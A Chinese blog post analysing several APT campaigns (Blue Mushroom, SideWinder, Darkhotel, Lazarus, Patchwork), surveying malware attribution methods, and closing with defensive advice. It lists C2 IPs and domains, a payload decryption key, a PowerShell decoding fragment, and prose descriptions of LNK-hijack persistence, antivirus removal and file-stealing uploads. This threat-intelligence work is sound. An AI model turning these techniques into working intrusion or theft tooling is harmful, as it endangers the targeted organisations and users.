ps_start: 被解密后的LNK檔案最后一行PowerShell腳本中的ps_start會被首先執行,該PowerShell腳本主要用于解壓出后續的壓縮包,并繼續運行其中的腳本,同時壓縮包包含了相應的檔案竊取模塊,如下圖所示腳本通過[convert]::frombase64string((gc $a|select -l 2|select -f 1))); 以Base64解密出對應的壓縮包檔案,之后使用Rundll32加載其中beoql.g后門檔案(加載函式為DllRegister),同時將一段PowerShell腳本作為引數傳入,該PowerShell命名為ps_loader,

壓縮包解壓后包含名為beoql.g的DLL后門、合法的Rar.exe壓縮工具、以及真實呈現給用戶的誘導DOC檔案,

腳本會嘗試訪問以下3個IP地址,以確保C&C存活:
- 159.65.127.93
- 139.59.238.1
- 138.197.142.236

若確認C&C存活,則通過命令列收集系統的基本資訊,

腳本獲取基本資訊后,再通過Rar.exe壓縮為start.rar檔案,之后使用RSA演算法加密一個隨機字串e,最后腳本會遍歷系統中指定的后綴檔案(jpg, txt, eml, doc, xls, ppt, pdf, wps, wpp, 只獲取180天以內的檔案),繼續使用Rar.exe壓碩訓取的指定檔案,密碼為之前生成的變數e,

函式pv9會將對應的RAR檔案通過AWS S3 存盤協議上傳到一個網上的云服務商的地址:0123.nyc3.digitaloceanspaces.com,代碼中包含的ACCESS_KEY和SECRET_KEY疑似亞馬遜S3云服務存盤協議所使用的相關KEY資訊,

樣本中使用該協議不過是添加一些跟服務端協商的請求頭,請求頭的value是用AWS s3 V4簽名演算法算出來的,通信流程由函式ul3和ig3完成,最終完成上傳檔案,ps_start中加載執行DLL后門后會從內置的三個IP地址中選擇一個作為C&C,再次下載一段PowerShell,此處稱之為ps_loader,

ps_loader: 首先生成用于請求的對應的us及Cookie欄位,具體請求如下所示,可以看到回傳的資料是一系列的十進制字符,

接著對回傳資料進行簡單的初始化后,通過函式sj8對資料進行解密,可以看到攻擊者使用了whatthef**kareyoudoing這個極富外國色彩的調侃俚語作為秘鑰,解碼后的內容也是一段PowerShell,此處命名為ps_backdoor,ps_backdoor會呼叫其對應的函式ROAGC,

該腳本還支持CMD命令功能,除了Windows外,還支持Linux下的命令執行:

(4) 持久化分析
ps_start腳本會使用Rundll32.exe加載執行樣本中解壓出來的beoql.g后門檔案,該DLL為一個實作惡意代碼持久化加載的模塊,用于加載ps_loader,并通過修改LNK檔案來實作持久化,其匯出的函式如下所示:

通過分析,DLL具體函式功能如下:

另外,ps_start中會直接呼叫該DLL的匯出函式DllRegister,引數為對應的ps_loader腳本,函式首先會將ps_loader加密保存為beoql.g.ini,之后呼叫DllEntry和fun_Callinstall,

具體流程如下:
- beoql.g.ini加密保存為PowerShell
- DllEntry被呼叫首先會通過CMD命令洗掉相關的金山安全組件,之后通過CreateProcess函式啟動ps_loader腳本
- fun_Callinstall中解密出對應的加密字符,字串為通過Rundll32.exe呼叫匯出函式DllInstall
- DllInstall函式首先遍歷多個目錄下的LNK檔案,之后生成nview32_update.bat腳本并運行
- nview32_update.bat腳本執行后會檢測并洗掉WPS的相關組件,之后對前面遍歷獲取的LNK檔案進行修改操作,首先通過呼叫匯出函式DllCopyClassObject將該LNK檔案拷貝到臨時目錄,再通過函式DllSetClassObject修改%temp%目錄下的LNK檔案,最后將修改過的LNK檔案拷貝覆寫回去
- DllSetClassObject中通過函式fun_Changelnk修改默認的LNK檔案
具體效果如下所示,LNK快捷方式檔案被修改為通過Rundll32.exe呼叫該DLL的DllEntry函式,該函式的主要功能如前文所示用于運行對應的ps_loader腳本,通過劫持LNK快捷方式檔案來起到持久化的作用,

總結:藍寶菇組織的相關惡意代碼中出現特有的字串(Poison Ivy密碼是:NuclearCrisis),結合該組織的攻擊目標特點,360威脅情報中心將該組織的一系列攻擊行動命名為核危機行動(Operation NuclearCrisis),聯想到核武器爆炸時的蘑菇云,360威脅情報中心結合該組織的其他特點,以及對APT組織的命名規則,將該組織名為藍寶菇,威脅情報在攻防對抗中發揮著越來越重要的作用,威脅情報不是簡單的從blog、twitter等公開渠道獲得開源情報,從本次事件中可以看出,只有具備扎實的安全能力、建立強大的資料基礎并對威脅情報涉及的采集、處理、分析、發布、反饋等一系列的環節進行較長時期的投入建設,才能獲得基于威脅情報的檢測、分析、回應、預警等關鍵的安全能力,
4.SideWinder(T-APT-04)
T-APT-04是國際知名的SideWinder“響尾蛇”組織,該南亞組織以竊取單位、能源、軍事、礦產等領域的重要資訊為主,此前已對巴基斯坦和東南亞各國發起過多次攻擊,但近兩起的APT攻擊卻頻繁指向了中國,一起是偽裝成國家部門向各國駐華使館發送虛假邀請函;另一起是針對某科技有限公司駐外代表處的攻擊事件,攻擊者向該公司駐外代表處發送了虛假的安全和保M手冊,據瑞星安全研究院分析,通過對攻擊者使用的技術手法來看,斷定與APT組織“響尾蛇”有著莫大的關系,

-
響尾蛇組織常用攻擊方法
- 利用Office遠程代碼執行漏洞(cve-2017-11882)
- 通過釣魚郵件發起APT攻擊
- 遠程控制目標電腦并獲取內部資料
- 使用釣魚網站進行社會工程學攻擊
- 誘餌檔案進行載荷投遞
-
攻擊手段
- 偽裝檔案并嵌入木馬發送(如偽裝成國家單位的邀請函)
- 檔案存放至指定目錄并解密
- ShellCode將公式編輯器的命令列引數改成JavaScript腳本并執行
下面簡單講解瑞星團隊發布至Freebuf的分析案例,
- 文章來源
團隊:瑞星團隊發布至Freebuf
作者:瑞星
原文地址:境外APT 組織“響尾蛇”對我國發起攻擊事件報告
瑞星公司是中國互聯網著名的安全公司,其瑞星殺毒軟體也是國內外很有安全保障的殺毒軟體之一,他們發布的文章或報告都非常有價值,大家也都應該不陌生,近日,瑞星安全研究院捕獲到兩起針對中國的APT攻擊事件,一起是針對各國駐華大使館,另一起是針對某科技有限公司駐外代表處,攻擊者利用Office遠程代碼執行漏洞(cve-2017-11882)通過釣魚郵件等方式發起APT攻擊,一旦有用戶打開釣魚檔案,電腦就會被攻擊者遠程控制,從而被盜取如電腦系統資訊、安裝程式、磁盤資訊等重要資料資料,其目的以盜取我國重要資料、隱私資訊及科研技術為主,攻擊流程如下圖所示:

(1) 釣魚郵件分析
誘餌檔案包括偽裝成國家部門發往各國駐華使館的邀請函、某科技有限公司駐外代表處的安全作業手冊修訂檔案,兩個誘餌檔案均在末尾嵌入一個名為“包裝程式外殼物件”的物件,物件屬性指向%temp%目錄中的1.a檔案,所以,打開檔案會在%temp%目錄下釋放由JaveScript腳本撰寫的1.a檔案,

接著誘餌檔案又利用漏洞CVE-2017-11882觸發shellcode執行1.a,

Shellcode流程如下:
通過異或0×12解密出一個JavaScript腳本,該腳本的主要功能是執行%temp%目錄下的1.a檔案,JavaScript腳本密文如下圖所示:

解密后的JavaScript腳本如下圖所示:

ShellCode會將公式編輯器的命令列引數改成JavaScript腳本,利用RunHTMLApplication函式執行將該腳本執行起來,執行JavaScript如下圖所示:

(2) 病毒分析
- 1.a檔案分析
該檔案是通過開源的DotNetToJScript工具生成,主要功能是通過JavaScript腳本記憶體執行.net的DLL檔案,該腳本首先解密出StInstaller.dll檔案,并反射加載該DLL中的work函式,Work函式對傳進來的引數x(引數1)和y(引數2)進行解密,解密后x為PROPSYS.dll,y為V1nK38w.tmp,1.a腳本內容如下圖所示:

- StInstaller.dll檔案分析
StInstaller.dll是一個.NET程式,會創建作業目錄C:\ProgramData\AuthyFiles,然后在作業目錄中釋放3個檔案,分別是PROPSYS.dll、V1nK38w.tmp和write.exe.config,并將系統目錄下的寫字板程式(write.exe) 拷貝到該目錄中,運行write.exe(白檔案)加載同級目錄下的PROPSYS.dll(黑檔案), 通過白加黑的手段運行惡意代碼,work函式如下圖所示:

詳細程序:
- 在work函式中呼叫xorIt解密函式得到3個重要配置資料,分別是作業目錄名AuthyFiles,域名https://trans-can.net和設定的注冊表鍵名authy,
- 創建作業目錄C:\ProgramData\AuthyFiles,拷貝系統檔案write.exe到作業目錄,并將其設定為開機自啟動,創建AuthyFiles和write.exe如下圖所示:

- 在作業目錄中釋放一個隨機命名的檔案V1nK38w.tmp,
- 在作業目錄中釋放PROPSYS.dll,并更新該檔案中接下來要加載程式的檔案名為V1nK38w.tmp,創建PROPSYS.dll如下圖所示:

- 將拼接后完整的url鏈接寫入V1nK38w.tmp檔案中,再將該檔案使用EncodeData函式進行加密,創建V1nK38w.tmp檔案代碼如下圖所示:

- 創建組態檔write.exe.config,防止不同.NET版本出現兼容性問題,write.exe.config內容如下:
![]()

- 執行C:\ProgramData\AuthyFiles\write.exe,呼叫惡意的PROPSYS.dll,

(3) PROPSYS.dll檔案分析
使用DecodeData函式對V1nK38w.tmp進行解密,解密完后加載執行V1nK38w.tmp,
![]()
DecodeData解密函式如下圖所示:

(4) V1nK38w.tmp檔案分析
V1Nk38w.tmp主要是竊取大量資訊和接收指令執行,其主要行為如下:

- 加載初始配置,配置由資源中的Default解密得到,配置內容是網址,上傳檔案的暫存目錄和竊取指定的檔案后綴名(doc,docx, xls, xlsx, pdf, ppt, pptx),解密后的Default資源資訊如下:

- 將配置使用EncodeData函式加密,存于注冊表HKCU\Sotfware\Authy中,在注冊表中加密的配置資訊在注冊表中加密的配置資訊如下:

- 訪問指定地址下載檔案執行,優先選擇配置資訊中的網址,如果沒有則選擇默認網址,

- 將竊取的資訊整合成檔案,檔案命名為:隨機字串+特定后綴,資料內容以明文形式存于暫存目錄中,竊取資訊檔案如下圖所示:

- 后綴為.sif的檔案主要是存盤的是系統資訊、安裝程式資訊、磁盤資訊等,

- 更新注冊表中存盤的配置資料:首先遍歷系統找尋和特定后綴相同的檔案,然后從注冊表HKCU\Sotfware\Authy讀取和解密配置資料,將找到的檔案的名字和路徑補充到配置資料中,最后將配置資訊加密繼續存放注冊表,記錄要上傳的檔案路徑如下所示:

- 上傳指定后綴檔案,

- 更新注冊表中存盤的配置資料:將上傳檔案的資訊更新到注冊表配置資料中,

- 將注冊表配置資訊中記載的特定后綴檔案的資料內容全部壓縮上傳,上傳暫存目錄中后綴為sif、flc、err和fls的檔案,

總結:此次兩起攻擊事件時隔不長,攻擊目標均指向我國的相關機構,攻擊目的以獲取機構重要資訊為主,以便制定有針對性的下一步攻擊方案,最近揭露的響尾蛇攻擊物件大都指向巴基斯坦和東南亞各國,但這兩起攻擊事件目標直指中國,表明該組織攻擊目標發生了變化,加大了對中國的攻擊力度,國內相關機構和企業單位務必要引起高度重視,加強預防措施,
三.APT攻擊溯源及案例
1.溯源常見方法
溯源意圖除了溯源出撰寫惡意代碼作者、惡意代碼家族之外,還要挖掘出攻擊者及攻擊者背后的真正意圖,從而遏制攻擊者的進一步行動,360威脅情報中心將基于每個APT攻擊事件的背景資訊、攻擊組織、相關TTPs(Tactics, Techniques and Procedures,戰術、技術與步驟)進行描述及重大攻擊事件溯源,在溯源程序中,越往上溯源越難,尤其是如何定位APT組織的人員,

惡意樣本的追蹤溯源需要以當前的惡意樣本為中心,通過對靜態特征和動態行為的分析,解決如下問題:
- 誰發動的攻擊?
- 攻擊背景是什么?
- 攻擊的意圖是什么?
- 誰撰寫的樣本?
- 樣本使用了哪些攻擊技術?
- 攻擊程序中使用了那些攻擊工具?
- 整個攻擊程序路徑是怎樣的?
惡意樣本追蹤溯源可以采取如下方法:
- 全流量分析
- 同源分析
- 入侵日志
- 域名/IP
- 攻擊模型
在特征提取上,產業界更傾向于從代碼結構、攻擊鏈中提取相似性特征;在同源判定上,除了采用與已有的歷史樣本進行相似度聚類分析之外,產業界還會采用一些關聯性分析方法,相比學術界溯源特征,產業界溯源特征更加詳細全面,資訊復雜度大,因此,學術界的同源判定方法并不能完全用于產業界各類特征的相似性分析中,常見產業界溯源方法分類如下表所示,

同時,簡單補充下美國應急回應中心的溯源方法,
- 對被入侵的主機進行還原取證
- 對木馬樣本進行代碼的逆向分析與解密
- 對流經國家的資料在傳輸層進行特征碼布控,并存盤至少半年的流經資料流量,以便還原攻擊
- 對VPS代理服務提供商與正常網路服務提供商,兩者有能力區分,并能落地VPS代理服務提供商的用戶背后真實IP地址
- 分辨出攻擊事件背后的組織,并判定組織的來源、分工、資源狀況、人員構成、行動目標等要素
最后推薦att&ack網站,非常棒的一個APT組織分析網站,

PS:參考前文 [網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
2.基于機器學習和深度學習的APT溯源
學術界旨在采用靜態或動態的方式獲取惡意代碼的特征資訊,通過對惡意代碼的特征學習,建立不同類別惡意代碼的特征模型,通過計算待檢測惡意代碼針對不同特征類別的相似性度量,指導惡意代碼的同源性判定,常見的惡意代碼溯源主要包括4個階段:特征提取、特征預處理、相似性計算、同源判定,各階段間的流程關系如下圖所示,

上圖是將溯源物件Windows平臺的PE惡意檔案或Android平臺的APK惡意檔案輸入溯源系統,經過特征提取、特征預處理、相似性計算、同源分析獲取溯源結果,最終判定攻擊家族或作者,
(1) 特征提取
特征提取是溯源分析程序的基礎,具有同源性的惡意代碼是通過它們的共有特征與其他代碼區分開來的,所提取的特征既要反映出惡意代碼的本質和具有同源性惡意代碼之間的相似性,又要滿足提取的有效性,
依據溯源目的,溯源特征提取包括溯源家族的特征提取和溯源作者的特征提取,Faruki等在位元組碼級別提取統計性強的序列特征,包括指令、操作碼、位元組碼、API代碼序列等,Perdisci R等通過n-gram提取位元組碼序列作為特征,Ki Y等提出了捕獲運行程序中的API序列作為特征,利用生物基因序列檢測工具ClustalX對API序列進行相似性分析,得到惡意代碼的同源性判定,DNADroid使用PDG作為特征,DroidSim是一種基于組件的CFG來表示相似性代碼特征,與早期的方法相比,該系統檢測代碼重用更準確,
(2) 特征預處理
特征提取程序中會遇到不具有代表性、不能量化的原始特征,特征預處理針對這一問題進行解決,以提取出適用于相似性計算的代表性特征,特征預處理一方面對初始特征進行預處理,另一方面為相似性計算提供基礎資料,常見的特征型別包括序列特征和代碼結構特征,
- 序列特征預處理: 包括資訊熵評估、正則運算式轉換、N-grams序列、序列向量化、權重量化法等,序列特征預處理會將初始特征中冗余特征消除、特征語意運算式增強、特征量化等以便于進行相似性計算,L. Wu通過分析惡意軟體敏感API操作以及事件等,將API序列特征轉換為正則運算式,并在發生類似的正則運算式模式時檢測惡意代碼,IBM研究小組先將N-gram方法應用于惡意軟體分析中,使用N-gram的統計屬性預測給定序列中下個子序列,從而進行相似度計算,Kolosnjaji等提出對API呼叫序列進行N-gram處理獲取子序列,采用N-gram方法將API呼叫序列轉換為N-gram序列,實作程序下圖所示,

- 代碼結構特征預處理: 在相似度比較時存在邊、節點等匹配問題即子圖同構演算法復雜性,同時代碼結構特征中存在冗余結構,因此除去冗余、保留與惡意操作相關的代碼結構是預處理的主要目的,常見的方法包括API呼叫圖預處理、CFG圖預處理、PDG圖預處理等,
(3) 相似性計算
溯源旨在通過分析樣本的同源性定位到家族或作者,樣本的同源性可以通過分析代碼相似性來獲取,相似性計算旨在衡量惡意代碼間相似度,具體為采用一種相似性模型對惡意代碼的特征進行運算,根據預處理特征型別的不同以及溯源需求、效率、準確性等差異,采用不同的相似性運算方法,
目前比較流行的相似性計算方法主要集中在對集合、序列、向量、圖等特征表現形式的處理,Qiao等基于集合計算相似性,在不同惡意樣本API集合的相似性比較中采用了Jaccard系數方法,將為A、B兩個集合的交集在并集中所占的比例作為相似度,比例值越大,證明越相似,如公式所示,

Faruki等提出了采用SDhash相似性散列技術構建樣本的簽名序列,并采用漢明距離法對序列進行相似性計算,從而識別同源性樣本,Suarez-Tangil 等用資料挖掘演算法中向量空間模型展示家族的惡意代碼特征形式,將同家族提取出來的具有代表性的CFG元素作為特征中維度,采用余弦演算法對不同家族的向量空間模型進行相似度計算,根據余弦值來判斷它們的相似性,從而識別出相似性樣本,進而歸屬到對應的家族,用于比較向量的余弦相似度反映了惡意代碼間的相似性,其具體公式如公式所示,

Cesare等提出了最小距離匹配度量法,比較不同樣本的CFG圖特征的相似性,Kinable等通過靜態分析惡意代碼的系統呼叫圖,采用圖匹配的方式計算圖相似性得分,該得分近似于圖的編輯距離,利用該得分比較樣本的相似性,采用聚類演算法將樣本進行聚類,實作家族分類,
(4) 同源判定
學術界常見的同源判定方法主要包括基于聚類演算法的同源判定、基于神經網路的同源判定等,Kim等采用DBSCAN演算法對基于呼叫圖聚類,發現類似的惡意軟體,Feizollah等提出采用層聚類演算法,構建家族間演化模型,進而發掘家族功能的演化,Niu等提出了層次聚類和密度聚類演算法結合的快速聚類演算法對操作碼序列特征進行聚類,以識別惡意軟體變體,該方法識別變體效率較高,
神經網路是一種多層網路的機器學習演算法,可以處理多特征以及復雜特征的同源判定,基本思想為:將樣本特征作為輸入層資料,然后不斷調整神經網路引數,直到輸出的樣本與該樣本是一種同源關系未為止,它會將惡意代碼特征送輸入層,即可判斷惡意代碼的同源性.,趙炳麟等提出了基于神經網路的同源判定方法,其整體實作框架如下圖所示,

3.時區溯源案例(白象)
在過去的四年中,安天的工程師們關注到了中國的機構和用戶反復遭遇來自“西南方向”的網路入侵嘗試,這些攻擊雖進行了一些掩蓋和偽裝,我們依然可以將其推理回原點——來自南亞次大陸的某個國家,
參考文章:白象的舞步——來自南亞次大陸的網路攻擊
安天在2014年4月相關文章中披露的針對中國兩所大學被攻擊的事件,涉及以下六個樣本,其中五個樣本投放至同一個目標,這些樣本間呈現出模塊組合作業的特點,
- 4號樣本是初始投放樣本,其具有下載其他樣本功能
- 3號樣本提取主機相關資訊生成日志檔案
- 5號樣本負責上傳
- 6號樣本采集相關檔案檔案資訊
- 2號樣本則是一個鍵盤記錄器

那么,如何溯源該組織所來自的區域呢?
安天通過對樣本集的時間戳、時區分析進行分析,發現其來自南亞,樣本時間戳是一個十六進制的資料,存盤在PE檔案頭里,該值一般由編譯器在開發者創建可執行檔案時自動生成,時間單位細化到秒,通常可以認為該值為樣本生成時間(GMT時間),

時間戳的分析需要收集所有可用的可執行檔案時間戳,并剔除過早的和明顯人為修改的時間,再將其根據特定標準分組統計,如每周的天或小時,并以圖形的形式體現,下圖是通過小時分組統計結果:

從上圖的統計結果來看,如果假設攻擊者的作業時間是早上八九點至下午五六點的話,那么將作業時間匹配到一個來自UTC+4或UTC+5時區的攻擊者的作業時間,根據我們匹配的攻擊者所在時區(UTC+4 或UTC+5),再對照世界時區分布圖,就可以來推斷攻擊者所在的區域或國家,

接著對該攻擊組織進行更深入的分析,對這一攻擊組織繼續綜合線索,基于互聯網公開資訊,進行了畫像分析,認為這是一個由10~16人的組成的攻擊小組,其中六人的用戶ID是cr01nk 、neeru rana、andrew、Yash、Ita nagar、Naga,

在安天的跟蹤分析中,發現該組織的部分C&C地址是一些正常的網站,經過分析我們認為,有可能該組織入侵了這些網站,將自己的C&C服務控制代碼放到它們的服務器上,以此來隱藏自己的IP資訊,同時這種方式還會使安全軟體認為連接的是正常的網站,而不會觸發安全警報,
基于現有資源可以分析出,“白象二代”組織一名開發人員的ID為“Kanishk”,通過維基百科查詢到一個類似單詞“Kanishka”,這是一個是梵文譯音,中文翻譯為“迦膩色迦”,迦膩色伽是貴霜帝國(Kushan Empire)的君主,貴霜帝國主要控制范圍在印度河流域,至此推測該APT組織來自南亞某國,

通過這個案例,我們可以通過時區、公開資訊、黑客ID、C&C域名進行溯源,并一步步遞進,
4.關聯分析案例(Darkhotel APT-C-06)
Darkhotel(APT-C-06)是一個長期針對企業高管、GF工業、電子工業等重要機構實施網路攻擊活動的APT組織,2014年11月,卡巴斯基實驗室的安全專家首次發現了Darkhotel APT組織,并宣告該組織至少從2010年就已經開始活躍,目標基本鎖定在韓國、中國、俄羅斯和日本,360威脅情報中心對該團伙的活動一直保持著持續跟蹤,其還遠的攻擊流程如下圖所示,
參考文字:DarkHotel APT團伙新近活動的樣本分析

溯源方法:通過對樣本中使用的特殊代碼結構、域名/IP等的關聯分析,以及使用360威脅情報中心分析平臺對相關樣本和網路基礎設施進行拓展,推斷攻擊的幕后團伙為Darkhotel(APT-C-06),
(1) 網路內容合法性演算法關聯
在分析的msfte.dll樣本中我們注意到一段比較特殊的校驗獲取網路內容的合法性的演算法,通過對使用了相同演算法的樣本關聯分析,我們發現了另外兩種形式的Dropper樣本,分別是EXE和圖片檔案捆綁執行的樣本,以及通過Lnk快捷方式執行的樣本,他們都使用了相似的代碼結構,可以確認這兩種形式的Dropper樣本和本次分析的樣本出自同一團伙之手,比如特殊的校驗獲取的網路內容合法性演算法部分完全一致,
下圖為樣本A(wuauctl.exe)和樣本B(cala32.exe)的代碼,


(2) 域名關聯分析指向DarkHotel
進一步分析使用Lnk快捷方式執行惡意代碼的樣本,可以看到都使用了完全一致的命令列引數和代碼,

習慣性的使用360威脅情報中心資料平臺搜索樣本中用于下載惡意腳本的兩個域名,可以看到相關域名正是360威脅情報中心內部長期跟蹤的Darkhotel APT團伙使用的域名,相關域名早已經被打上Darkhotel的標簽,

(3) 溯源關聯圖
360威脅情報中心通過大資料關聯,對 DarkHotel APT團伙近年來使用的多個Loader版本進行了整理分析,通過分析大致可以看到該Loader歷經了三個開發周期,以簡單的GetCC函式為例,可以看到代碼整體邏輯是沒有區別的:

只是增加了對應的混淆還原處理,

下圖為溯源關聯圖,

5.特征相似溯源(摩訶草)
在某次APT攻擊中,360安全團隊發現其與摩訶草APT組織旗下的CNC小組有著很多的聯系,那么是怎么發現的呢?某些安全人員或APT組織寫的代碼都有自己的特色,我們通過對比這些代碼DNA的相似性或特征,能夠判斷其攻擊的來源,
CNC小組取名來自360于2019年底發布的報告《南亞地區APT組織2019年度攻擊活動總結》中提及的摩訶草使用新的遠程控制木馬,同時通過其pdb路徑資訊中包含了 cnc_client 的字樣,故命名為cnc_client小組,在此次活動中,該組織的特征與之高度類似,故團隊猜測該活動的作俑者來源于摩訶草旗下的CNC小組,

下面簡單介紹相似的地方,左圖來自于360的年度報告,右圖來自于本次活動的截圖,
(1) 反向shell功能相似性

(2) 檔案上傳功能相似性

(3) 檔案下載功能相似性

并且在連域名中出現了cnc的字眼,故Gcow安全小組大膽猜測該小組對原先的cnc_client進行了進一步的修改,但是其主體邏輯框架保持不變,在側面上反應了該組織也很積極的修改相關的惡意軟體代碼以躲避殺毒軟體的檢測,
6.0day漏洞溯源(Lazarus T-APT-15)
Lazarus(T-APT-15)組織是來自朝鮮的APT組織,該組織長期對韓國、美國進行滲透攻擊,此外還對全球的金融機構進行攻擊,堪稱全球金融機構的最大威脅,該組織最早的攻擊活動可以追溯到2007年,據國外安全公司的調查顯示,Lazarus組織與2014 年索尼影業遭黑客攻擊事件,2016 年孟加拉國銀行資料泄露事件,2017年美國國防承包商、美國能源部門及英國、韓國等位元幣交易所被攻擊等事件有關,而2017年席卷全球的最臭名昭著的安全事件“Wannacry”勒索病毒也被懷疑是該組織所為,
近日騰訊御見威脅情報中心監測到多個利用最新Flash漏洞CVE-2018-4878發動的攻擊,攻擊物件為數字貨幣交易所等,攻擊事件所使用的樣本都是docx檔案,docx檔案內嵌了一個包含漏洞攻擊swf檔案的doc檔案,經分析,發現該惡意檔案卸載的載荷為FALLCHILL遠程控制木馬最新變種,FALLCHILL木馬是朝鮮的黑客組織Lazarus開發并使用的木馬,
參考文章:Lazarus APT組織最新活動揭露
經過分析溯源,發現該RAT代碼與FALLCHILL木馬具有較高的相似度,在部分代碼細節、遠控命令分發、總體邏輯流程上具有非常明顯的相似性,在api加密、通訊協議偽裝上有較大變種改進,FALLCHILL木馬被認為是朝鮮背景的APT組織Lazarus Group 所用,該RAT檔案的資源語言為朝鮮語,也從側面印證與Lazarus組織的相關性,

從Adobe漏洞公告致謝來看,CVE-2018-4878這個漏洞的野外攻擊樣本最早是由韓國計算機應急回應小組(KR-CERT)發現的,而KR-CERT也表示,來自朝鮮的黑客組織已經成功利用這個0Day漏洞發起攻擊,與Lazarus主要攻擊目標一致,

部分特征代碼及其相似如下:

此外,我們通過本次攻擊樣本與歷史樣本進行關聯分析,發現此版本FALLCHILL最早出現于2017年初,通過樣本的出現時間和C2的活躍時間可以發現該組織是持續活躍的,
7.蜜罐溯源
蜜罐技術本質上是一種對攻擊方進行欺騙的技術,通過布置一些作為誘餌的主機、網路服務或者資訊,誘使攻擊方對它們實施攻擊,從而可以對攻擊行為進行捕獲和分析,了解攻擊方所使用的工具與方法,推測攻擊意圖和動機,能夠讓防御方清晰地了解他們所面對的安全威脅,并通過技術和管理手段來增強實際系統的安全防護能力,
蜜罐好比是情報收集系統,蜜罐好像是故意讓人攻擊的目標,引誘黑客前來攻擊,所以攻擊者入侵后,你就可以知道他是如何得逞的,隨時了解針對服務器發動的最新的攻擊和漏洞,還可以通過竊聽黑客之間的聯系,收集黑客所用的種種工具,并且掌握他們的社交網路,
參考文章:揭秘Patchwork APT攻擊 :一個與中國南海和東南亞問題相關的網路攻擊組織
為了捕獲攻擊者發起的第二階段攻擊程式,觀察其在內網中的滲透活動,我們創建了一個真實網路環境,這個環境讓攻擊者覺得他們已經成功獲取了主機權限,零星的誘餌資料可以讓攻擊者向另一主機轉移,這些資料可以是存盤憑據,共享檔案夾、瀏覽器cookies,VPN配置等其它資訊,最終我們利用了Cymmetria’s MazeRunner 系統成功捕獲了攻擊者的活動,

從攻擊者C&C控制服務器中獲得的資訊,我們通過另一個合作伙伴,成功地接手并控制了攻擊者的一個C&C服務器,服務器中包含了大量檔案,而且這些釣魚檔案內容都與中國主題或性質相關,
- 種類多樣的PPS檔案–用作釣魚攻擊的惡意檔案
- 大量的惡意代碼包
四.安全防御建議
安全防御建議如下:
-
不打開可疑郵件,不下載可疑附件
此類攻擊最開始的入口通常都是釣魚郵件,釣魚郵件非常具有迷惑性,因此需要用戶提高警惕,企業更是要加強員工網路安全意識的培訓, -
部署網路安全態勢感知、預警系統等網關安全產品
網關安全產品可利用威脅情報追溯威脅行為軌跡,幫助用戶進行威脅行為分析、定位威脅源和目的,追溯攻擊的手段和路徑,從源頭解決網路威脅,最大范圍內發現被攻擊的節點,幫助企業更快回應和處理, -
安裝有效的殺毒軟體,攔截查殺惡意檔案和木馬病毒
殺毒軟體可攔截惡意檔案和木馬病毒,如果用戶不小心下載了惡意檔案,殺毒軟體可攔截查殺,阻止病毒運行,保護用戶的終端安全, -
及時修補系統補丁和重要軟體的補丁
-
小心處理Office檔案,除非確認檔案來源可靠,充分了解打開檔案的后果,否則務必不要開啟Office啟用宏代碼
-
使用云沙箱和本地安全軟體對可疑檔案進行檢測
-
提升安全意識,尤其內部人員的安全意識
同時,補充例外網路行為常見的判斷方法:
- 埠與協議不匹配,如使用443埠傳輸明文協議
- 邊界VPN撥入的IP地址不在企業用戶VPN常用IP地址之列
- 利用VPS服務提供商的代理IP地址訪問企業用的邊界VPN撥入內網
- Windows事件日志中的特殊ID編號,如ID 5140通常是PSEXEC(內網hash傳遞工具)日志
- 對于特殊協議要記錄訪問主機IP、目的主機IP,如SMB協議(永恒之藍)要倍加防范
五.總結
寫到這里,這篇文章就介紹完畢,希望您喜歡這篇文章,最近分享了兩場講座,一個是安全,一個是大資料,希望能將自己這些年在大資料、知識圖譜、系統安全及人工智能應用到家鄉這片土地,哈哈!
這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全廠商和大佬們的文章分享,深知自己很菜,得努力前行,
歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉,
(By:Eastmount 2021-09-10 晚上12點寫于武漢 http://blog.csdn.net/eastmount )
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299124.html
標籤:其他
